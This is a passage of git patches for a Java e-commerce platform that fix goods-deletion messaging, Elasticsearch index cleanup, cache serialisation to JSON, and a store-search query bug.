.../goods/serviceimpl/GoodsServiceImpl.java | 17 ++++++--- .../serviceimpl/GoodsSkuServiceImpl.java | 19 ++++++++-- .../order/serviceimpl/TradeServiceImpl.java | 2 +- .../search/service/EsGoodsIndexService.java | 7 ++++ .../serviceimpl/EsGoodsIndexServiceImpl.java | 20 +++++++++++ 10 files changed, 119 insertions(+), 38 deletions(-) diff --git a/consumer/src/main/java/cn/lili/event/impl/OrderCreateReceiptExecute.java b/consumer/src/main/java/cn/lili/event/impl/OrderCreateReceiptExecute.java index 36826a60..a7126774 100644 --- a/consumer/src/main/java/cn/lili/event/impl/OrderCreateReceiptExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/OrderCreateReceiptExecute.java @@ -8,7 +8,6 @@ import cn.lili.modules.order.order.entity.dos.Receipt; import cn.lili.modules.order.order.entity.vo.OrderVO; import cn.lili.modules.order.order.entity.vo.ReceiptVO; import cn.lili.modules.order.order.service.ReceiptService; -import lombok.RequiredArgsConstructor; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -34,25 +33,23 @@ public class OrderCreateReceiptExecute implements TradeEvent { //获取发票信息 ReceiptVO receiptVO = tradeDTO.getReceiptVO(); //如果需要获取发票则保存发票信息 - if (tradeDTO.getNeedReceipt()) { - if (orderList.size() > 0) { - List receipts = new ArrayList<>(); - for (OrderVO orderVO : orderList) { - Receipt receipt = new Receipt(); - BeanUtil.copyProperties(receiptVO, receipt); - receipt.setMemberId(orderVO.getMemberId()); - receipt.setMemberName(orderVO.getMemberName()); - receipt.setStoreId(orderVO.getStoreId()); - receipt.setStoreName(orderVO.getStoreName()); - receipt.setOrderSn(orderVO.getSn()); - receipt.setReceiptDetail(JSONUtil.toJsonStr(orderVO.getOrderItems())); - receipt.setReceiptPrice(orderVO.getFlowPrice()); - receipt.setReceiptStatus(0); - receipts.add(receipt); - } - //保存发票 - receiptService.saveBatch(receipts); + if (Boolean.TRUE.equals(tradeDTO.getNeedReceipt()) && !orderList.isEmpty()) { + List receipts = new ArrayList<>(); + for (OrderVO orderVO : orderList) { + Receipt receipt = new Receipt(); + BeanUtil.copyProperties(receiptVO, receipt); + receipt.setMemberId(orderVO.getMemberId()); + receipt.setMemberName(orderVO.getMemberName()); + receipt.setStoreId(orderVO.getStoreId()); + receipt.setStoreName(orderVO.getStoreName()); + receipt.setOrderSn(orderVO.getSn()); + receipt.setReceiptDetail(JSONUtil.toJsonStr(orderVO.getOrderItems())); + receipt.setReceiptPrice(orderVO.getFlowPrice()); + receipt.setReceiptStatus(0); + receipts.add(receipt); } + //保存发票 + receiptService.saveBatch(receipts); } } } diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index 3900de1f..a18c3d03 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -186,12 +186,28 @@ public class GoodsMessageListener implements RocketMQListener { break; //审核商品 case GOODS_AUDIT: - updateGoodsNum(messageExt); + Goods goods = JSONUtil.toBean(new String(messageExt.getBody()), Goods.class); + updateGoodsNum(goods); break; //删除商品 case GOODS_DELETE: - deleteGoods(messageExt); - updateGoodsNum(messageExt); + try { + String goodsIdsJsonStr = new String(messageExt.getBody()); + for (String goodsId : JSONUtil.toList(goodsIdsJsonStr, String.class)) { + Goods goodsById = this.goodsService.getById(goodsId); + if (goodsById != null) { + this.deleteGoods(goodsById); + this.updateGoodsNum(goodsById); + List skuIdsByGoodsId = this.goodsSkuService.getSkuIdsByGoodsId(goodsId); + if (skuIdsByGoodsId != null && !skuIdsByGoodsId.isEmpty()) { + this.goodsIndexService.deleteIndexByIds(skuIdsByGoodsId); + } + } + } + + } catch (Exception e) { + log.error("删除商品索引事件执行异常,商品信息 {}", new String(messageExt.getBody())); + } break; //规格删除 case SKU_DELETE: @@ -380,10 +396,9 @@ public class GoodsMessageListener implements RocketMQListener { * 2.删除分销员-分销商品绑定关系 * 3.删除分销商品 * - * @param messageExt 消息 + * @param goods 消息 */ - private void deleteGoods(MessageExt messageExt) { - Goods goods = JSONUtil.toBean(new String(messageExt.getBody()), Goods.class); + private void deleteGoods(Goods goods) { DistributionGoodsSearchParams searchParams = new DistributionGoodsSearchParams(); searchParams.setGoodsId(goods.getId()); @@ -403,17 +418,15 @@ public class GoodsMessageListener implements RocketMQListener { /** * 修改商品数量 * - * @param messageExt 信息体 + * @param goods 信息体 */ - private void updateGoodsNum(MessageExt messageExt) { - + private void updateGoodsNum(Goods goods) { try { - Goods goods = JSONUtil.toBean(new String(messageExt.getBody()), Goods.class); //更新店铺商品数量 assert goods != null; storeService.updateStoreGoodsNum(goods.getStoreId()); } catch (Exception e) { - log.error("商品MQ信息错误:{}", messageExt.toString()); + log.error("修改商品数量错误"); } } diff --git a/consumer/src/main/java/cn/lili/listener/OrderMessageListener.java b/consumer/src/main/java/cn/lili/listener/OrderMessageListener.java index 29f5bda7..d72ff5fd 100644 --- a/consumer/src/main/java/cn/lili/listener/OrderMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/OrderMessageListener.java @@ -62,7 +62,7 @@ public class OrderMessageListener implements RocketMQListener { //订单创建 case ORDER_CREATE: String key = new String(messageExt.getBody()); - TradeDTO tradeDTO = (TradeDTO) cache.get(key); + TradeDTO tradeDTO = JSONUtil.toBean(cache.getString(key), TradeDTO.class); boolean result = true; for (TradeEvent event : tradeEvent) { try { diff --git a/framework/src/main/java/cn/lili/modules/goods/mapper/GoodsSkuMapper.java b/framework/src/main/java/cn/lili/modules/goods/mapper/GoodsSkuMapper.java index 304b8cd9..62f65589 100644 --- a/framework/src/main/java/cn/lili/modules/goods/mapper/GoodsSkuMapper.java +++ b/framework/src/main/java/cn/lili/modules/goods/mapper/GoodsSkuMapper.java @@ -2,6 +2,9 @@ package cn.lili.modules.goods.mapper; import cn.lili.modules.goods.entity.dos.GoodsSku; import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import org.apache.ibatis.annotations.Select; + +import java.util.List; /** * 规格项数据处理层 @@ -11,4 +14,13 @@ import com.baomidou.mybatisplus.core.mapper.BaseMapper; */ public interface GoodsSkuMapper extends BaseMapper { + /** + * 根据商品id获取全部skuId的集合 + * + * @param goodsId goodsId + * @return 全部skuId的集合 + */ + @Select("SELECT id FROM li_goods_sku WHERE goods_id = #{goodsId}") + List getGoodsSkuIdByGoodsId(String goodsId); + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java b/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java index 03bd3276..c300a39b 100644 --- a/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java +++ b/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java @@ -202,4 +202,12 @@ public interface GoodsSkuService extends IService { * @param promotionPrice 促销价格 */ void updateGoodsSkuPromotion(String skuId, Double promotionPrice); + + /** + * 根据商品id获取全部skuId的集合 + * + * @param goodsId goodsId + * @return 全部skuId的集合 + */ + List getSkuIdsByGoodsId(String goodsId); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java index a8887da8..101ad3ee 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java @@ -304,6 +304,14 @@ public class GoodsServiceImpl extends ServiceImpl implements for (Goods goods : goodsList) { goodsSkuService.updateGoodsSkuStatus(goods); } + + if (GoodsStatusEnum.DOWN.equals(goodsStatusEnum)) { + + //商品删除消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GOODS_DELETE.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(goodsIds), RocketmqSendCallbackBuilder.commonCallback()); + } return result; } @@ -351,12 +359,13 @@ public class GoodsServiceImpl extends ServiceImpl implements for (Goods goods : goodsList) { //修改SKU状态 goodsSkuService.updateGoodsSkuStatus(goods); - //商品删除消息 - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GOODS_DELETE.name(); - //发送mq消息 - rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(goods), RocketmqSendCallbackBuilder.commonCallback()); } + //商品删除消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GOODS_DELETE.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(goodsIds), RocketmqSendCallbackBuilder.commonCallback()); + return true; } diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index 37d3268c..77526c48 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -2,6 +2,7 @@ package cn.lili.modules.goods.serviceimpl; import cn.hutool.core.convert.Convert; import cn.hutool.core.map.MapUtil; +import cn.hutool.core.text.CharSequenceUtil; import cn.hutool.core.thread.ThreadUtil; import cn.hutool.core.util.NumberUtil; import cn.hutool.core.util.StrUtil; @@ -13,7 +14,6 @@ import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.common.security.context.UserContext; -import cn.lili.common.utils.StringUtils; import cn.lili.modules.goods.entity.dos.Goods; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.dto.GoodsSearchParams; @@ -221,7 +221,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //获取商品VO GoodsVO goodsVO = goodsService.getGoodsVO(goodsId); //如果skuid为空,则使用商品VO中sku信息获取 - if (StringUtils.isEmpty(skuId) || "undefined".equals(skuId)) { + if (CharSequenceUtil.isEmpty(skuId) || "undefined".equals(skuId)) { skuId = goodsVO.getSkuList().get(0).getId(); } //从缓存拿商品Sku @@ -532,6 +532,17 @@ public class GoodsSkuServiceImpl extends ServiceImpl i cache.remove(GoodsSkuService.getCacheKeys(skuId)); } + /** + * 根据商品id获取全部skuId的集合 + * + * @param goodsId goodsId + * @return 全部skuId的集合 + */ + @Override + public List getSkuIdsByGoodsId(String goodsId) { + return this.baseMapper.getGoodsSkuIdByGoodsId(goodsId); + } + /** * 发送生成ES商品索引 * @@ -539,6 +550,10 @@ public class GoodsSkuServiceImpl extends ServiceImpl i */ @Override public void generateEs(Goods goods) { + // 不生成没有审核通过且没有上架的商品 + if (!GoodsStatusEnum.UPPER.name().equals(goods.getMarketEnable()) || !GoodsAuthEnum.PASS.name().equals(goods.getAuthFlag())) { + return; + } ThreadUtil.execAsync(() -> { try { // 延时执行,防止商品未保存完成就去生成商品索引导致生成索引时找不到商品问题 diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/TradeServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/TradeServiceImpl.java index 342a36ed..213264bc 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/TradeServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/TradeServiceImpl.java @@ -1 +1 @@ -package cn.lili.modules.order.order.serviceimpl; import cn.lili.cache.Cache; import cn.lili.cache.CachePrefix; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.modules.member.entity.dos.MemberAddress; import cn.lili.modules.member.entity.enums.PointTypeEnum; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.order.cart.entity.dto.MemberCouponDTO; import cn.lili.modules.order.cart.entity.dto.TradeDTO; import cn.lili.modules.order.cart.entity.enums.CartTypeEnum; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.Trade; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.mapper.TradeMapper; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.order.service.TradeService; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.KanjiaActivityService; import cn.lili.modules.promotion.service.MemberCouponService; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.OrderTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.ArrayList; import java.util.Collection; import java.util.List; import java.util.stream.Collectors; /** * 交易业务层实现 * * @author Chopper * @date 2020/11/17 7:39 下午 */ @Service @Transactional(rollbackFor = Exception.class) public class TradeServiceImpl extends ServiceImpl implements TradeService { /** * 缓存 */ @Autowired private Cache cache; /** * 订单 */ @Autowired private OrderService orderService; /** * 会员 */ @Autowired private MemberService memberService; /** * 优惠券 */ @Autowired private CouponService couponService; /** * 会员优惠券 */ @Autowired private MemberCouponService memberCouponService; /** * 砍价 */ @Autowired private KanjiaActivityService kanjiaActivityService; /** * RocketMQ */ @Autowired private RocketMQTemplate rocketMQTemplate; /** * RocketMQ 配置 */ @Autowired private RocketmqCustomProperties rocketmqCustomProperties; @Override @Transactional(rollbackFor = Exception.class) public Trade createTrade(TradeDTO tradeDTO) { //创建订单预校验 createTradeCheck(tradeDTO); Trade trade = new Trade(tradeDTO); String key = CachePrefix.TRADE.getPrefix() + trade.getSn(); //优惠券预处理 couponPretreatment(tradeDTO); //积分预处理 pointPretreatment(tradeDTO); //添加交易 this.save(trade); //添加订单 orderService.intoDB(tradeDTO); //砍价订单处理 kanjiaPretreatment(tradeDTO); //写入缓存,给消费者调用 cache.put(key, tradeDTO); //构建订单创建消息 String destination = rocketmqCustomProperties.getOrderTopic() + ":" + OrderTagsEnum.ORDER_CREATE.name(); //发送订单创建消息 rocketMQTemplate.asyncSend(destination, key, RocketmqSendCallbackBuilder.commonCallback()); return trade; } /** * 创建订单最后一步校验 * * @param tradeDTO */ private void createTradeCheck(TradeDTO tradeDTO) { //创建订单如果没有收获地址, MemberAddress memberAddress = tradeDTO.getMemberAddress(); if (memberAddress == null) { throw new ServiceException(ResultCode.MEMBER_ADDRESS_NOT_EXIST); } /** * 订单配送区域校验 */ if (tradeDTO.getNotSupportFreight() != null && tradeDTO.getNotSupportFreight().size() > 0) { StringBuilder stringBuilder = new StringBuilder("包含商品有-"); tradeDTO.getNotSupportFreight().forEach(sku -> { stringBuilder.append(sku.getGoodsSku().getGoodsName()); }); throw new ServiceException(ResultCode.ORDER_NOT_SUPPORT_DISTRIBUTION, stringBuilder.toString()); } } @Override public Trade getBySn(String sn) { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.eq(Trade::getSn, sn); return this.getOne(queryWrapper); } @Override public void payTrade(String tradeSn, String paymentName, String receivableNo) { LambdaQueryWrapper orderQueryWrapper = new LambdaQueryWrapper<>(); orderQueryWrapper.eq(Order::getTradeSn, tradeSn); List orders = orderService.list(orderQueryWrapper); for (Order order : orders) { orderService.payOrder(order.getSn(), paymentName, receivableNo); } Trade trade = this.getBySn(tradeSn); trade.setPayStatus(PayStatusEnum.PAID.name()); this.saveOrUpdate(trade); } /** * 优惠券预处理 * 下单同时,扣除优惠券 * * @param tradeDTO */ private void couponPretreatment(TradeDTO tradeDTO) { List memberCouponDTOList = new ArrayList<>(); if (null != tradeDTO.getPlatformCoupon()) { memberCouponDTOList.add(tradeDTO.getPlatformCoupon()); } Collection storeCoupons = tradeDTO.getStoreCoupons().values(); if (!storeCoupons.isEmpty()) { memberCouponDTOList.addAll(storeCoupons); } List ids = memberCouponDTOList.stream().map(e -> e.getMemberCoupon().getId()).collect(Collectors.toList()); memberCouponService.used(ids); memberCouponDTOList.forEach(e -> couponService.usedCoupon(e.getMemberCoupon().getCouponId(), 1)); } /** * 创建交易,积分处理 * * @param tradeDTO */ private void pointPretreatment(TradeDTO tradeDTO) { //需要支付积分 if (tradeDTO.getPriceDetailDTO() != null && tradeDTO.getPriceDetailDTO().getPayPoint() != null && tradeDTO.getPriceDetailDTO().getPayPoint() > 0) { StringBuilder orderSns = new StringBuilder(); for (CartVO item : tradeDTO.getCartList()) { orderSns.append(item.getSn()); } boolean result = memberService.updateMemberPoint(tradeDTO.getPriceDetailDTO().getPayPoint().longValue(), PointTypeEnum.REDUCE.name(), tradeDTO.getMemberId(), "订单【" + orderSns + "】创建,积分扣减"); if (!result) { throw new ServiceException(ResultCode.PAY_POINT_ENOUGH); } } } /** * 创建交易、砍价处理 * * @param tradeDTO */ private void kanjiaPretreatment(TradeDTO tradeDTO) { if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA)) { String kanjiaId = tradeDTO.getSkuList().get(0).getKanjiaId(); kanjiaActivityService.update(new LambdaUpdateWrapper() .eq(KanjiaActivity::getId, kanjiaId) .set(KanjiaActivity::getStatus, KanJiaStatusEnum.END.name())); } } } \ No newline at end of file +package cn.lili.modules.order.order.serviceimpl; import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; import cn.lili.cache.CachePrefix; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.modules.member.entity.dos.MemberAddress; import cn.lili.modules.member.entity.enums.PointTypeEnum; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.order.cart.entity.dto.MemberCouponDTO; import cn.lili.modules.order.cart.entity.dto.TradeDTO; import cn.lili.modules.order.cart.entity.enums.CartTypeEnum; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.Trade; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.mapper.TradeMapper; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.order.service.TradeService; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.KanjiaActivityService; import cn.lili.modules.promotion.service.MemberCouponService; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.OrderTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.ArrayList; import java.util.Collection; import java.util.List; import java.util.stream.Collectors; /** * 交易业务层实现 * * @author Chopper * @date 2020/11/17 7:39 下午 */ @Service @Transactional(rollbackFor = Exception.class) public class TradeServiceImpl extends ServiceImpl implements TradeService { /** * 缓存 */ @Autowired private Cache cache; /** * 订单 */ @Autowired private OrderService orderService; /** * 会员 */ @Autowired private MemberService memberService; /** * 优惠券 */ @Autowired private CouponService couponService; /** * 会员优惠券 */ @Autowired private MemberCouponService memberCouponService; /** * 砍价 */ @Autowired private KanjiaActivityService kanjiaActivityService; /** * RocketMQ */ @Autowired private RocketMQTemplate rocketMQTemplate; /** * RocketMQ 配置 */ @Autowired private RocketmqCustomProperties rocketmqCustomProperties; @Override @Transactional(rollbackFor = Exception.class) public Trade createTrade(TradeDTO tradeDTO) { //创建订单预校验 createTradeCheck(tradeDTO); Trade trade = new Trade(tradeDTO); String key = CachePrefix.TRADE.getPrefix() + trade.getSn(); //优惠券预处理 couponPretreatment(tradeDTO); //积分预处理 pointPretreatment(tradeDTO); //添加交易 this.save(trade); //添加订单 orderService.intoDB(tradeDTO); //砍价订单处理 kanjiaPretreatment(tradeDTO); //写入缓存,给消费者调用 cache.put(key, JSONUtil.toJsonStr(tradeDTO)); //构建订单创建消息 String destination = rocketmqCustomProperties.getOrderTopic() + ":" + OrderTagsEnum.ORDER_CREATE.name(); //发送订单创建消息 rocketMQTemplate.asyncSend(destination, key, RocketmqSendCallbackBuilder.commonCallback()); return trade; } /** * 创建订单最后一步校验 * * @param tradeDTO */ private void createTradeCheck(TradeDTO tradeDTO) { //创建订单如果没有收获地址, MemberAddress memberAddress = tradeDTO.getMemberAddress(); if (memberAddress == null) { throw new ServiceException(ResultCode.MEMBER_ADDRESS_NOT_EXIST); } /** * 订单配送区域校验 */ if (tradeDTO.getNotSupportFreight() != null && tradeDTO.getNotSupportFreight().size() > 0) { StringBuilder stringBuilder = new StringBuilder("包含商品有-"); tradeDTO.getNotSupportFreight().forEach(sku -> { stringBuilder.append(sku.getGoodsSku().getGoodsName()); }); throw new ServiceException(ResultCode.ORDER_NOT_SUPPORT_DISTRIBUTION, stringBuilder.toString()); } } @Override public Trade getBySn(String sn) { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.eq(Trade::getSn, sn); return this.getOne(queryWrapper); } @Override public void payTrade(String tradeSn, String paymentName, String receivableNo) { LambdaQueryWrapper orderQueryWrapper = new LambdaQueryWrapper<>(); orderQueryWrapper.eq(Order::getTradeSn, tradeSn); List orders = orderService.list(orderQueryWrapper); for (Order order : orders) { orderService.payOrder(order.getSn(), paymentName, receivableNo); } Trade trade = this.getBySn(tradeSn); trade.setPayStatus(PayStatusEnum.PAID.name()); this.saveOrUpdate(trade); } /** * 优惠券预处理 * 下单同时,扣除优惠券 * * @param tradeDTO */ private void couponPretreatment(TradeDTO tradeDTO) { List memberCouponDTOList = new ArrayList<>(); if (null != tradeDTO.getPlatformCoupon()) { memberCouponDTOList.add(tradeDTO.getPlatformCoupon()); } Collection storeCoupons = tradeDTO.getStoreCoupons().values(); if (!storeCoupons.isEmpty()) { memberCouponDTOList.addAll(storeCoupons); } List ids = memberCouponDTOList.stream().map(e -> e.getMemberCoupon().getId()).collect(Collectors.toList()); memberCouponService.used(ids); memberCouponDTOList.forEach(e -> couponService.usedCoupon(e.getMemberCoupon().getCouponId(), 1)); } /** * 创建交易,积分处理 * * @param tradeDTO */ private void pointPretreatment(TradeDTO tradeDTO) { //需要支付积分 if (tradeDTO.getPriceDetailDTO() != null && tradeDTO.getPriceDetailDTO().getPayPoint() != null && tradeDTO.getPriceDetailDTO().getPayPoint() > 0) { StringBuilder orderSns = new StringBuilder(); for (CartVO item : tradeDTO.getCartList()) { orderSns.append(item.getSn()); } boolean result = memberService.updateMemberPoint(tradeDTO.getPriceDetailDTO().getPayPoint().longValue(), PointTypeEnum.REDUCE.name(), tradeDTO.getMemberId(), "订单【" + orderSns + "】创建,积分扣减"); if (!result) { throw new ServiceException(ResultCode.PAY_POINT_ENOUGH); } } } /** * 创建交易、砍价处理 * * @param tradeDTO */ private void kanjiaPretreatment(TradeDTO tradeDTO) { if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA)) { String kanjiaId = tradeDTO.getSkuList().get(0).getKanjiaId(); kanjiaActivityService.update(new LambdaUpdateWrapper() .eq(KanjiaActivity::getId, kanjiaId) .set(KanjiaActivity::getStatus, KanJiaStatusEnum.END.name())); } } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java index 9a4f4c7c..7c70fa0b 100644 --- a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java +++ b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java @@ -79,6 +79,13 @@ public interface EsGoodsIndexService { */ void deleteIndexById(String id); + /** + * 删除索引 + * + * @param ids 商品索引id集合 + */ + void deleteIndexByIds(List ids); + /** * 初始化商品索引 * diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index 203c20b1..782b92a1 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -49,8 +49,11 @@ import org.elasticsearch.index.reindex.UpdateByQueryRequest; import org.elasticsearch.script.Script; import org.mybatis.spring.MyBatisSystemException; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.data.elasticsearch.core.ElasticsearchRestTemplate; import org.springframework.data.elasticsearch.core.SearchHit; import org.springframework.data.elasticsearch.core.SearchPage; +import org.springframework.data.elasticsearch.core.query.NativeSearchQueryBuilder; import org.springframework.stereotype.Service; import org.springframework.util.ObjectUtils; @@ -100,6 +103,10 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements @Autowired private Cache cache; + @Autowired + @Qualifier("elasticsearchRestTemplate") + private ElasticsearchRestTemplate restTemplate; + @Override public void init() { //获取索引任务标识 @@ -286,6 +293,19 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements goodsIndexRepository.deleteById(id); } + /** + * 删除索引 + * + * @param ids 商品索引id集合 + */ + @Override + public void deleteIndexByIds(List ids) { + NativeSearchQueryBuilder queryBuilder = new NativeSearchQueryBuilder(); + queryBuilder.withQuery(QueryBuilders.termsQuery("id", ids.toArray())); + this.restTemplate.delete(queryBuilder.build(), EsGoodsIndex.class); + + } + @Override public void initIndex(List goodsIndexList) { if (goodsIndexList == null || goodsIndexList.isEmpty()) { From ec912efa01b3544849a12db0e07d61c658165e30 Mon Sep 17 00:00:00 2001 From: zhanglei829 Date: Tue, 28 Dec 2021 15:18:13 +0800 Subject: [PATCH 112/145] fix bug --- .../cn/lili/modules/store/entity/vos/StoreSearchParams.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreSearchParams.java b/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreSearchParams.java index 617332b9..62a053a3 100644 --- a/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreSearchParams.java @@ -48,7 +48,7 @@ public class StoreSearchParams implements Serializable { if (StringUtils.isNotEmpty(storeDisable)) { queryWrapper.eq("store_disable", storeDisable); } else { - queryWrapper.eq("store_disable", StoreStatusEnum.OPEN.name()).or().eq("store_disable", StoreStatusEnum.CLOSED.name()); + queryWrapper.and(Wrapper -> Wrapper.eq("store_disable", StoreStatusEnum.OPEN.name()).or().eq("store_disable", StoreStatusEnum.CLOSED.name())); } //按时间查询 if (StringUtils.isNotEmpty(startDate)) { From aad32a4a1f6554f9e1042b5fd4182abd25afc09f Mon Sep 17 00:00:00 2001 From: paulGao Date: Tue, 28 Dec 2021 19:58:20 +0800 Subject: [PATCH 113/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=BB=A1=E9=A2=9D?= =?UTF-8?q?=E6=B4=BB=E5=8A=A8=E8=B5=A0=E5=93=81=E8=AE=A2=E5=8D=95=E9=94=99?= =?UTF-8?q?=E8=AF=AF=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../src/main/java/cn/lili/event/impl/FullDiscountExecute.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/consumer/src/main/java/cn/lili/event/impl/FullDiscountExecute.java b/consumer/src/main/java/cn/lili/event/impl/FullDiscountExecute.java index ca7b1385..a1bb9847 100644 --- a/consumer/src/main/java/cn/lili/event/impl/FullDiscountExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/FullDiscountExecute.java @@ -82,7 +82,7 @@ public class FullDiscountExecute implements TradeEvent, OrderStatusChangeEvent { if ((cartVO.getGiftList() != null && !cartVO.getGiftList().isEmpty()) || (cartVO.getGiftPoint() != null && cartVO.getGiftPoint() > 0) || (cartVO.getGiftCouponList() != null && !cartVO.getGiftCouponList().isEmpty())) { - cache.put(CachePrefix.ORDER.getPrefix() + cartVO.getSn(), cartVO); + cache.put(CachePrefix.ORDER.getPrefix() + cartVO.getSn(), JSONUtil.toJsonStr(cartVO)); } } ); @@ -92,7 +92,7 @@ public class FullDiscountExecute implements TradeEvent, OrderStatusChangeEvent { public void orderChange(OrderMessage orderMessage) { if (orderMessage.getNewStatus().equals(OrderStatusEnum.PAID)) { log.debug("满减活动,订单状态操作 {}", CachePrefix.ORDER.getPrefix() + orderMessage.getOrderSn()); - renderGift((CartVO) cache.get(CachePrefix.ORDER.getPrefix() + orderMessage.getOrderSn()), orderMessage); + renderGift(JSONUtil.toBean(cache.getString(CachePrefix.ORDER.getPrefix() + orderMessage.getOrderSn()), CartVO.class), orderMessage); } } From 4d49d3c77a088582fb1f0aded972f5b30e42383b Mon Sep 17 00:00:00 2001 From: paulGao Date: Tue, 28 Dec 2021 19:59:00 +0800 Subject: [PATCH 114/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E8=AE=A2=E5=8D=95?= 